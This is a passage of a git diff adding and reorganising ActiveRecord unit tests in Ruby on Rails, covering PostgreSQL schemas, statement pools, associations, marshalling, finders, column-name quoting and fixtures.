with_schema_search_path(SCHEMA_NAME) do + assert(@connection.table_exists?('"things.table"'), "table should exist") + end + end + def test_with_schema_prefixed_table_name assert_nothing_raised do assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{TABLE_NAME}") @@ -219,21 +229,6 @@ class SchemaTest < ActiveRecord::TestCase end end - def test_extract_schema_and_table - { - %(table_name) => [nil,'table_name'], - %("table.name") => [nil,'table.name'], - %(schema.table_name) => %w{schema table_name}, - %("schema".table_name) => %w{schema table_name}, - %(schema."table_name") => %w{schema table_name}, - %("schema"."table_name") => %w{schema table_name}, - %("even spaces".table) => ['even spaces','table'], - %(schema."table.name") => ['schema', 'table.name'] - }.each do |given, expect| - assert_equal expect, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils.extract_schema_and_table(given) - end - end - def test_current_schema { %('$user',public) => 'public', @@ -245,6 +240,21 @@ class SchemaTest < ActiveRecord::TestCase end end + def test_prepared_statements_with_multiple_schemas + + @connection.schema_search_path = SCHEMA_NAME + Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now) + + @connection.schema_search_path = SCHEMA2_NAME + Thing5.create(:id => 1, :name => "thing inside #{SCHEMA2_NAME}", :email => "thing1@localhost", :moment => Time.now) + + @connection.schema_search_path = SCHEMA_NAME + assert_equal 1, Thing5.count + + @connection.schema_search_path = SCHEMA2_NAME + assert_equal 1, Thing5.count + end + def test_schema_exists? { 'public' => true, diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb new file mode 100644 index 0000000000..a82c6f67d6 --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb @@ -0,0 +1,23 @@ +require 'cases/helper' + +module ActiveRecord::ConnectionAdapters + class PostgreSQLAdapter < AbstractAdapter + class StatementPoolTest < ActiveRecord::TestCase + def test_cache_is_per_pid + return skip('must support fork') unless Process.respond_to?(:fork) + + cache = StatementPool.new nil, 10 + cache['foo'] = 'bar' + assert_equal 'bar', cache['foo'] + + pid = fork { + lookup = cache['foo']; + exit!(!lookup) + } + + Process.waitpid pid + assert $?.success?, 'process should exit successfully' + end + end + end +end diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb new file mode 100644 index 0000000000..5f08f79171 --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb @@ -0,0 +1,18 @@ +class PostgreSQLUtilsTest < ActiveSupport::TestCase + include ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils + + def test_extract_schema_and_table + { + %(table_name) => [nil,'table_name'], + %("table.name") => [nil,'table.name'], + %(schema.table_name) => %w{schema table_name}, + %("schema".table_name) => %w{schema table_name}, + %(schema."table_name") => %w{schema table_name}, + %("schema"."table_name") => %w{schema table_name}, + %("even spaces".table) => ['even spaces','table'], + %(schema."table.name") => ['schema', 'table.name'] + }.each do |given, expect| + assert_equal expect, extract_schema_and_table(given) + end + end +end diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb index 6ff04e3eb3..eb6f071dc1 100644 --- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb @@ -1,9 +1,12 @@ # encoding: utf-8 require "cases/helper" +require 'models/owner' module ActiveRecord module ConnectionAdapters class SQLite3AdapterTest < ActiveRecord::TestCase + self.use_transactional_fixtures = false + class DualEncoding < ActiveRecord::Base end @@ -19,6 +22,21 @@ module ActiveRecord eosql end + def test_column_types + return skip('only test encoding on 1.9') unless "<3".encoding_aware? + + owner = Owner.create!(:name => "hello".encode('ascii-8bit')) + owner.reload + select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', ' + result = Owner.connection.exec_query <<-esql + SELECT #{select} + FROM #{Owner.table_name} + WHERE #{Owner.primary_key} = #{owner.id} + esql + + assert(!result.rows.first.include?("blob"), "should not store blobs") + end + def test_exec_insert column = @conn.columns('items').find { |col| col.name == 'number' } vals = [[column, 10]] @@ -139,6 +157,8 @@ module ActiveRecord binary = DualEncoding.new :name => 'いただきます!', :data => str binary.save! assert_equal str, binary.data + + DualEncoding.connection.drop_table('dual_encodings') end def test_execute diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb new file mode 100644 index 0000000000..ae272e2c4b --- /dev/null +++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb @@ -0,0 +1,24 @@ +require 'cases/helper' + +module ActiveRecord::ConnectionAdapters + class SQLiteAdapter + class StatementPoolTest < ActiveRecord::TestCase + def test_cache_is_per_pid + return skip('must support fork') unless Process.respond_to?(:fork) + + cache = StatementPool.new nil, 10 + cache['foo'] = 'bar' + assert_equal 'bar', cache['foo'] + + pid = fork { + lookup = cache['foo']; + exit!(!lookup) + } + + Process.waitpid pid + assert $?.success?, 'process should exit successfully' + end + end + end +end + diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb index 818902beb5..1160d236c9 100644 --- a/activerecord/test/cases/associations/belongs_to_associations_test.rb +++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb @@ -13,6 +13,7 @@ require 'models/comment' require 'models/sponsor' require 'models/member' require 'models/essay' +require 'models/toy' class BelongsToAssociationsTest < ActiveRecord::TestCase fixtures :accounts, :companies, :developers, :projects, :topics, @@ -352,6 +353,12 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal members(:groucho), sponsor.sponsorable end + def test_dont_find_target_when_foreign_key_is_null + tagging = taggings(:thinking_general) + queries = assert_sql { tagging.super_tag } + assert_equal 0, queries.length + end + def test_field_name_same_as_foreign_key computer = Computer.find(1) assert_not_nil computer.developer, ":foreign key == attribute didn't lock up" # ' @@ -690,4 +697,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal nil, comment.reload.parent assert_equal 0, comments(:greetings).reload.children_count end + + def test_polymorphic_with_custom_primary_key + toy = Toy.create! + sponsor = Sponsor.create!(:sponsorable => toy) + + assert_equal toy, sponsor.reload.sponsorable + end end diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb index 24830a661a..8dc1423375 100644 --- a/activerecord/test/cases/associations/extension_test.rb +++ b/activerecord/test/cases/associations/extension_test.rb @@ -36,18 +36,32 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase end def test_marshalling_extensions + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + david = developers(:david) assert_equal projects(:action_controller), david.projects.find_most_recent - david = Marshal.load(Marshal.dump(david)) + marshalled = Marshal.dump(david) + david = Marshal.load(marshalled) + assert_equal projects(:action_controller), david.projects.find_most_recent end def test_marshalling_named_extensions + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + david = developers(:david) assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent - david = Marshal.load(Marshal.dump(david)) + marshalled = Marshal.dump(david) + david = Marshal.load(marshalled) + assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent end diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb index d8d2a113ff..34d90cc395 100644 --- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb +++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb @@ -650,6 +650,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_respond_to categories(:technology).select_testing_posts.find(:first), :correctness_marker end + def test_habtm_selects_all_columns_by_default + assert_equal Project.column_names.sort, developers(:david).projects.first.attributes.keys.sort + end + + def test_habtm_respects_select_query_method + assert_equal ['id'], developers(:david).projects.select(:id).first.attributes.keys + end + def test_join_table_alias assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL').size end diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb index a2764f3e3b..cddd2a6f8c 100644 --- a/activerecord/test/cases/associations/has_many_associations_test.rb +++ b/activerecord/test/cases/associations/has_many_associations_test.rb @@ -17,6 +17,7 @@ require 'models/invoice' require 'models/line_item' require 'models/car' require 'models/bulb' +require 'models/engine' class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase class Invoice < ActiveRecord::Base @@ -484,6 +485,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 0, authors(:mary).popular_grouped_posts.length end + def test_default_select + assert_equal Comment.column_names.sort, posts(:welcome).comments.first.attributes.keys.sort + end + + def test_select_query_method + assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys + end + def test_adding force_signal37_to_load_all_clients_of_firm natural = Client.new("name" => "Natural Company") @@ -850,6 +859,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase end end + def test_clearing_updates_counter_cache_when_inverse_counter_cache_is_a_symbol_with_dependent_destroy + car = Car.first + car.engines.create! + + assert_difference 'car.reload.engines_count', -1 do + car.engines.clear + end + end + def test_clearing_a_dependent_association_collection firm = companies(:first_firm) client_id = firm.dependent_clients_of_firm.first.id @@ -1568,4 +1586,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal car.id, bulb.attributes_after_initialize['car_id'] end + + def test_replace + car = Car.create(:name => 'honda') + bulb1 = car.bulbs.create + bulb2 = Bulb.create + + assert_equal [bulb1], car.bulbs + car.bulbs.replace([bulb2]) + assert_equal [bulb2], car.bulbs + assert_equal [bulb2], car.reload.bulbs + end end diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb index 0b1ba31ac2..b703c96ec1 100644 --- a/activerecord/test/cases/associations/has_many_through_associations_test.rb +++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb @@ -813,4 +813,16 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert !c.save end end + + def test_preloading_empty_through_association_via_joins + person = Person.create!(:first_name => "Gaga") + person = Person.where(:id => person.id).where('readers.id = 1 or 1=1').includes(:posts).to_a.first + + assert person.posts.loaded?, 'person.posts should be loaded' + assert_equal [], person.posts + end + + def test_explicitly_joining_join_table + assert_equal owners(:blackbeard).toys, owners(:blackbeard).toys.with_pet + end end diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb index dd450a2a8e..530f5212a2 100644 --- a/activerecord/test/cases/associations/nested_through_associations_test.rb +++ b/activerecord/test/cases/associations/nested_through_associations_test.rb @@ -247,7 +247,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload_via_joins assert_includes_and_joins_equal( - Category.where('comments.id' => comments(:more_greetings).id).order('comments.id'), + Category.where('comments.id' => comments(:more_greetings).id).order('categories.id'), [categories(:general), categories(:technology)], :post_comments ) end @@ -356,6 +356,17 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase assert_equal categories(:general), members(:groucho).club_category end + def test_joins_and_includes_from_through_models_not_included_in_association + prev_default_scope = Club.default_scopes + + [:includes, :preload, :joins, :eager_load].each do |q| + Club.default_scopes = [Club.send(q, :category)] + assert_equal categories(:general), members(:groucho).reload.club_category + end + ensure + Club.default_scopes = prev_default_scope + end + def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload members = assert_queries(4) { Member.includes(:club_category).to_a.sort_by(&:id) } general = categories(:general) diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb index 49d82ba2df..ffe2993e0f 100644 --- a/activerecord/test/cases/associations_test.rb +++ b/activerecord/test/cases/associations_test.rb @@ -203,6 +203,11 @@ class AssociationProxyTest < ActiveRecord::TestCase assert_equal david.projects, david.projects.reload.reload end end + + def test_proxy_association_accessor + david = developers(:david) + assert_equal david.association(:projects), david.projects.proxy_association + end end class OverridingAssociationsTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb index 3641031d12..e03ed33591 100644 --- a/activerecord/test/cases/attribute_methods/read_test.rb +++ b/activerecord/test/cases/attribute_methods/read_test.rb @@ -35,6 +35,7 @@ module ActiveRecord end def self.serialized_attributes; {}; end + def self.base_class; self; end end end diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb index b0896fb236..b1b41fed0d 100644 --- a/activerecord/test/cases/attribute_methods_test.rb +++ b/activerecord/test/cases/attribute_methods_test.rb @@ -113,6 +113,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase # by inspecting it. def test_allocated_object_can_be_inspected topic = Topic.allocate + topic.instance_eval { @attributes = nil } assert_nothing_raised { topic.inspect } assert topic.inspect, "#<Topic not initialized>" end @@ -430,30 +431,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert topic.is_test? end - def test_kernel_methods_not_implemented_in_activerecord - %w(test name display y).each do |method| - assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined" - end - end - - def test_defined_kernel_methods_implemented_in_model - %w(test name display y).each do |method| - klass = Class.new ActiveRecord::Base - klass.class_eval "def #{method}() 'defined #{method}' end" - assert klass.instance_method_already_implemented?(method), "##{method} is not defined" - end - end - - def test_defined_kernel_methods_implemented_in_model_abstract_subclass - %w(test name display y).each do |method| - abstract = Class.new ActiveRecord::Base - abstract.class_eval "def #{method}() 'defined #{method}' end" - abstract.abstract_class = true - klass = Class.new abstract - assert klass.instance_method_already_implemented?(method), "##{method} is not defined" - end - end - def test_raises_dangerous_attribute_error_when_defining_activerecord_method_in_model %w(save create_or_update).each do |method| klass = Class.new ActiveRecord::Base @@ -607,7 +584,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase topic = @target.new(:title => "The pros and cons of programming naked.") assert !topic.respond_to?(:title) exception = assert_raise(NoMethodError) { topic.title } - assert_match %r(^Attempt to call private method), exception.message + assert exception.message.include?("private method") assert_equal "I'm private", topic.send(:title) end @@ -617,7 +594,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase topic = @target.new assert !topic.respond_to?(:title=) exception = assert_raise(NoMethodError) { topic.title = "Pants"} - assert_match %r(^Attempt to call private method), exception.message + assert exception.message.include?("private method") topic.send(:title=, "Very large pants") end @@ -627,7 +604,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase topic = @target.new(:title => "Isaac Newton's pants") assert !topic.respond_to?(:title?) exception = assert_raise(NoMethodError) { topic.title? } - assert_match %r(^Attempt to call private method), exception.message + assert exception.message.include?("private method") assert topic.send(:title?) end @@ -658,6 +635,37 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert_equal %w(preferences), Contact.serialized_attributes.keys end + def test_instance_method_should_be_defined_on_the_base_class + subklass = Class.new(Topic) + + Topic.define_attribute_methods + + instance = subklass.new + instance.id = 5 + assert_equal 5, instance.id + assert subklass.method_defined?(:id), "subklass is missing id method" + + Topic.undefine_attribute_methods + + assert_equal 5, instance.id + assert subklass.method_defined?(:id), "subklass is missing id method" + end + + def test_dispatching_column_attributes_through_method_missing_deprecated + Topic.define_attribute_methods + + topic = Topic.new(:id => 5) + topic.id = 5 + + topic.method(:id).owner.send(:remove_method, :id) + + assert_deprecated do + assert_equal 5, topic.id + end + ensure + Topic.undefine_attribute_methods + end + private def cached_columns @cached_columns ||= (time_related_columns_on_topic + serialized_columns_on_topic).map(&:name) diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb index 8b4e7dd799..12c1cfb30e 100644 --- a/activerecord/test/cases/base_test.rb +++ b/activerecord/test/cases/base_test.rb @@ -21,8 +21,11 @@ require 'models/parrot' require 'models/person' require 'models/edge' require 'models/joke' +require 'models/bulb' +require 'models/bird' require 'rexml/document' require 'active_support/core_ext/exception' +require 'bcrypt' class Category < ActiveRecord::Base; end class Categorization < ActiveRecord::Base; end @@ -66,6 +69,29 @@ end class BasicsTest < ActiveRecord::TestCase fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts + def test_column_names_are_escaped + conn = ActiveRecord::Base.connection + classname = conn.class.name[/[^:]*$/] + badchar = { + 'SQLite3Adapter' => '"', + 'MysqlAdapter' => '`', + 'Mysql2Adapter' => '`', + 'PostgreSQLAdapter' => '"', + 'OracleAdapter' => '"', + }.fetch(classname) { + raise "need a bad char for #{classname}" + } + + quoted = conn.quote_column_name "foo#{badchar}bar" + if current_adapter?(:OracleAdapter) + # Oracle does not allow double quotes in table and column names at all + # therefore quoting removes them + assert_equal("#{badchar}foobar#{badchar}", quoted) + else + assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted) + end + end + def test_columns_should_obey_set_primary_key pk = Subscriber.columns.find { |x| x.name == 'nick' } assert pk.primary, 'nick should be primary key' @@ -143,25 +169,6 @@ class BasicsTest < ActiveRecord::TestCase end end - def test_use_table_engine_for_quoting_where - relation = Topic.where(Topic.arel_table[:id].eq(1)) - engine = relation.table.engine - - fakepool = Class.new(Struct.new(:spec)) { - def with_connection; yield self; end - def connection_pool; self; end - def table_exists?(name); false; end - def quote_table_name(*args); raise "lol quote_table_name"; end - } - - relation.table.engine = fakepool.new(engine.connection_pool.spec) - - error = assert_raises(RuntimeError) { relation.to_a } - assert_match('lol', error.message) - ensure - relation.table.engine = engine - end - def test_preserving_time_objects assert_kind_of( Time, Topic.find(1).bonus_time, @@ -260,6 +267,41 @@ class BasicsTest < ActiveRecord::TestCase end end + def test_create_after_initialize_without_block + cb = CustomBulb.create(:name => 'Dude') + assert_equal('Dude', cb.name) + assert_equal(true, cb.frickinawesome) + end + + def test_create_after_initialize_with_block + cb = CustomBulb.create {|c| c.name = 'Dude' } + assert_equal('Dude', cb.name) + assert_equal(true, cb.frickinawesome) + end + + def test_first_or_create + parrot = Bird.first_or_create(:color => 'green', :name => 'parrot') + assert parrot.persisted? + the_same_parrot = Bird.first_or_create(:color => 'yellow', :name => 'macaw') + assert_equal parrot, the_same_parrot + end + + def test_first_or_create_bang + assert_raises(ActiveRecord::RecordInvalid) { Bird.first_or_create! } + parrot = Bird.first_or_create!(:color => 'green', :name => 'parrot') + assert parrot.persisted? + the_same_parrot = Bird.first_or_create!(:color => 'yellow', :name => 'macaw') + assert_equal parrot, the_same_parrot + end + + def test_first_or_initialize + parrot = Bird.first_or_initialize(:color => 'green', :name => 'parrot') + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert parrot.new_record? + assert parrot.valid? + end + def test_load topics = Topic.find(:all, :order => 'id') assert_equal(4, topics.size) @@ -1614,6 +1656,10 @@ class BasicsTest < ActiveRecord::TestCase assert !LooseDescendant.abstract_class? end + def test_abstract_class_table_name + assert_nil AbstractCompany.table_name + end + def test_base_class assert_equal LoosePerson, LoosePerson.base_class assert_equal LooseDescendant, LooseDescendant.base_class @@ -1813,12 +1859,45 @@ class BasicsTest < ActiveRecord::TestCase end def test_marshal_round_trip + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + expected = posts(:welcome) - actual = Marshal.load(Marshal.dump(expected)) + marshalled = Marshal.dump(expected) + actual = Marshal.load(marshalled) assert_equal expected.attributes, actual.attributes end + def test_marshal_new_record_round_trip + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + + marshalled = Marshal.dump(Post.new) + post = Marshal.load(marshalled) + + assert post.new_record?, "should be a new record" + end + + def test_marshalling_with_associations + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + + post = Post.new + post.comments.build + + marshalled = Marshal.dump(post) + post = Marshal.load(marshalled) + + assert_equal 1, post.comments.length + end + def test_attribute_names assert_equal ["id", "type", "ruby_type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id"], Company.attribute_names @@ -1854,6 +1933,6 @@ class BasicsTest < ActiveRecord::TestCase def test_cache_key_format_for_existing_record_with_nil_updated_at dev = Developer.first dev.update_attribute(:updated_at, nil) - assert_match /\/#{dev.id}$/, dev.cache_key + assert_match(/\/#{dev.id}$/, dev.cache_key) end end diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb index a35baee4ed..660098b9ad 100644 --- a/activerecord/test/cases/batches_test.rb +++ b/activerecord/test/cases/batches_test.rb @@ -113,7 +113,27 @@ class EachTest < ActiveRecord::TestCase batch.map! { not_a_post } end end + end + def test_find_in_batches_should_ignore_the_order_default_scope + # First post is with title scope + first_post = PostWithDefaultScope.first + posts = [] + PostWithDefaultScope.find_in_batches do |batch| + posts.concat(batch) + end + # posts.first will be ordered using id only. Title order scope should not apply here + assert_not_equal first_post, posts.first + assert_equal posts(:welcome), posts.first + end + + def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order + special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort + posts = [] + SpecialPostWithDefaultScope.find_in_batches do |batch| + posts.concat(batch) + end + assert_equal special_posts_ids, posts.map(&:id) end end diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb index 224b3f3d1f..c38814713a 100644 --- a/activerecord/test/cases/calculations_test.rb +++ b/activerecord/test/cases/calculations_test.rb @@ -170,6 +170,13 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 60, c[2] end + def test_should_group_by_summed_field_having_condition_from_select + c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("MIN(credit_limit) > 50").sum(:credit_limit) + assert_nil c[1] + assert_equal 60, c[2] + assert_equal 53, c[9] + end + def test_should_group_by_summed_association c = Account.sum(:credit_limit, :group => :firm) assert_equal 50, c[companies(:first_firm)] diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb index d1dddd4c2c..14884e42af 100644 --- a/activerecord/test/cases/column_definition_test.rb +++ b/activerecord/test/cases/column_definition_test.rb @@ -58,68 +58,68 @@ module ActiveRecord if current_adapter?(:MysqlAdapter) def test_should_set_default_for_mysql_binary_data_types - binary_column = MysqlColumn.new("title", "a", "binary(1)") + binary_column = MysqlAdapter::Column.new("title", "a", "binary(1)") assert_equal "a", binary_column.default - varbinary_column = MysqlColumn.new("title", "a", "varbinary(1)") + varbinary_column = MysqlAdapter::Column.new("title", "a", "varbinary(1)") assert_equal "a", varbinary_column.default end def test_should_not_set_default_for_blob_and_text_data_types assert_raise ArgumentError do - MysqlColumn.new("title", "a", "blob") + MysqlAdapter::Column.new("title", "a", "blob") end assert_raise ArgumentError do - MysqlColumn.new("title", "Hello", "text") + MysqlAdapter::Column.new("title", "Hello", "text") end - text_column = MysqlColumn.new("title", nil, "text") + text_column = MysqlAdapter::Column.new("title", nil, "text") assert_equal nil, text_column.default - not_null_text_column = MysqlColumn.new("title", nil, "text", false) + not_null_text_column = MysqlAdapter::Column.new("title", nil, "text", false) assert_equal "", not_null_text_column.default end def test_has_default_should_return_false_for_blog_and_test_data_types - blob_column = MysqlColumn.new("title", nil, "blob") + blob_column = MysqlAdapter::Column.new("title", nil, "blob") assert !blob_column.has_default? - text_column = MysqlColumn.new("title", nil, "text") + text_column = MysqlAdapter::Column.new("title", nil, "text") assert !text_column.has_default? end end if current_adapter?(:Mysql2Adapter) def test_should_set_default_for_mysql_binary_data_types - binary_column = Mysql2Column.new("title", "a", "binary(1)") + binary_column = Mysql2Adapter::Column.new("title", "a", "binary(1)") assert_equal "a", binary_column.default - varbinary_column = Mysql2Column.new("title", "a", "varbinary(1)") + varbinary_column = Mysql2Adapter::Column.new("title", "a", "varbinary(1)") assert_equal "a", varbinary_column.default end def test_should_not_set_default_for_blob_and_text_data_types assert_raise ArgumentError do - Mysql2Column.new("title", "a", "blob") + Mysql2Adapter::Column.new("title", "a", "blob") end assert_raise ArgumentError do - Mysql2Column.new("title", "Hello", "text") + Mysql2Adapter::Column.new("title", "Hello", "text") end - text_column = Mysql2Column.new("title", nil, "text") + text_column = Mysql2Adapter::Column.new("title", nil, "text") assert_equal nil, text_column.default - not_null_text_column = Mysql2Column.new("title", nil, "text", false) + not_null_text_column = Mysql2Adapter::Column.new("title", nil, "text", false) assert_equal "", not_null_text_column.default end def test_has_default_should_return_false_for_blog_and_test_data_types - blob_column = Mysql2Column.new("title", nil, "blob") + blob_column = Mysql2Adapter::Column.new("title", nil, "blob") assert !blob_column.has_default? - text_column = Mysql2Column.new("title", nil, "text") + text_column = Mysql2Adapter::Column.new("title", nil, "text") assert !text_column.has_default? end end diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb index abf317768f..bd0d161838 100644 --- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb +++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb @@ -6,7 +6,12 @@ module ActiveRecord def setup @handler = ConnectionHandler.new @handler.establish_connection 'america', Base.connection_pool.spec - @klass = Struct.new(:name).new('america') + @klass = Class.new do + def self.name; 'america'; end + end + @subklass = Class.new(@klass) do + def self.name; 'north america'; end + end end def test_retrieve_connection @@ -28,6 +33,20 @@ module ActiveRecord def test_retrieve_connection_pool assert_not_nil @handler.retrieve_connection_pool(@klass) end + + def test_retrieve_connection_pool_uses_superclass_when_no_subclass_connection + assert_not_nil @handler.retrieve_connection_pool(@subklass) + end + + def test_retrieve_connection_pool_uses_superclass_pool_after_subclass_establish_and_remove + @handler.establish_connection 'north america', Base.connection_pool.spec + assert_not_same @handler.retrieve_connection_pool(@klass), + @handler.retrieve_connection_pool(@subklass) + + @handler.remove_connection @subklass + assert_same @handler.retrieve_connection_pool(@klass), + @handler.retrieve_connection_pool(@subklass) + end end end end diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb index f92f4e62c5..8a0f453127 100644 --- a/activerecord/test/cases/connection_pool_test.rb +++ b/activerecord/test/cases/connection_pool_test.rb @@ -135,6 +135,10 @@ module ActiveRecord pool.with_connection end end + + def test_pool_sets_connection_visitor + assert @pool.connection.visitor.is_a?(Arel::Visitors::ToSql) + end end end end diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb index 5dc5f99582..3088ab012f 100644 --- a/activerecord/test/cases/finder_test.rb +++ b/activerecord/test/cases/finder_test.rb @@ -48,6 +48,15 @@ class FinderTest < ActiveRecord::TestCase assert Topic.exists? end + # exists? should handle nil for id's that come from URLs and always return false + # (example: Topic.exists?(params[:id])) where params[:id] is nil + def test_exists_with_nil_arg + assert !Topic.exists?(nil) + assert Topic.exists? + assert !Topic.first.replies.exists?(nil) + assert Topic.first.replies.exists? + end + def test_does_not_exist_with_empty_table_and_no_args_given Topic.delete_all assert !Topic.exists? @@ -243,6 +252,32 @@ class FinderTest < ActiveRecord::TestCase end end + def test_first_and_last_with_integer_should_use_sql_limit + assert_sql(/LIMIT 2|ROWNUM <= 2/) { Topic.first(2).entries } + assert_sql(/LIMIT 5|ROWNUM <= 5/) { Topic.last(5).entries } + end + + def test_last_with_integer_and_order_should_keep_the_order + assert_equal Topic.order("title").to_a.last(2), Topic.order("title").last(2) + end + + def test_last_with_integer_and_order_should_not_use_sql_limit + query = assert_sql { Topic.order("title").last(5).entries } + assert_equal 1, query.length + assert_no_match(/LIMIT/, query.first) + end + + def test_last_with_integer_and_reorder_should_not_use_sql_limit + query = assert_sql { Topic.reorder("title").last(5).entries } + assert_equal 1, query.length + assert_no_match(/LIMIT/, query.first) + end + + def test_first_and_last_with_integer_should_return_an_array + assert_kind_of Array, Topic.first(5) + assert_kind_of Array, Topic.last(5) + end + def test_unexisting_record_exception_handling assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1).parent diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb index 842e8a0049..7e2dafcd01 100644 --- a/activerecord/test/cases/fixtures_test.rb +++ b/activerecord/test/cases/fixtures_test.rb @@ -20,6 +20,7 @@ require 'models/book' require 'models/admin' require 'models/admin/account' require 'models/admin/user' +require 'tempfile' class FixturesTest < ActiveRecord::TestCase self.use_instantiated_fixtures = true @@ -45,6 +46,21 @@ class FixturesTest < ActiveRecord::TestCase end end + def test_broken_yaml_exception + badyaml = Tempfile.new ['foo', '.yml'] + badyaml.write 'a: : ' + badyaml.flush + + dir = File.dirname badyaml.path + name = File.basename badyaml.path, '.yml' + assert_raises(ActiveRecord::Fixture::FormatError) do + ActiveRecord::Fixtures.create_fixtures(dir, name) + end + ensure + badyaml.close + badyaml.unlink + end + def test_create_fixtures ActiveRecord::Fixtures.create_fixtures(FIXTURES_ROOT, "parrots") assert Parrot.find_by_name('Curious George'), 'George is in the database' @@ -435,14 +451,36 @@ end class CustomConnectionFixturesTest < ActiveRecord::TestCase set_fixture_class :courses => Course fixtures :courses - # Set to false to blow away fixtures cache and ensure our fixtures are loaded - # and thus takes into account our set_fixture_class self.use_transactional_fixtures = false def test_connection assert_kind_of Course, courses(:ruby) assert_equal 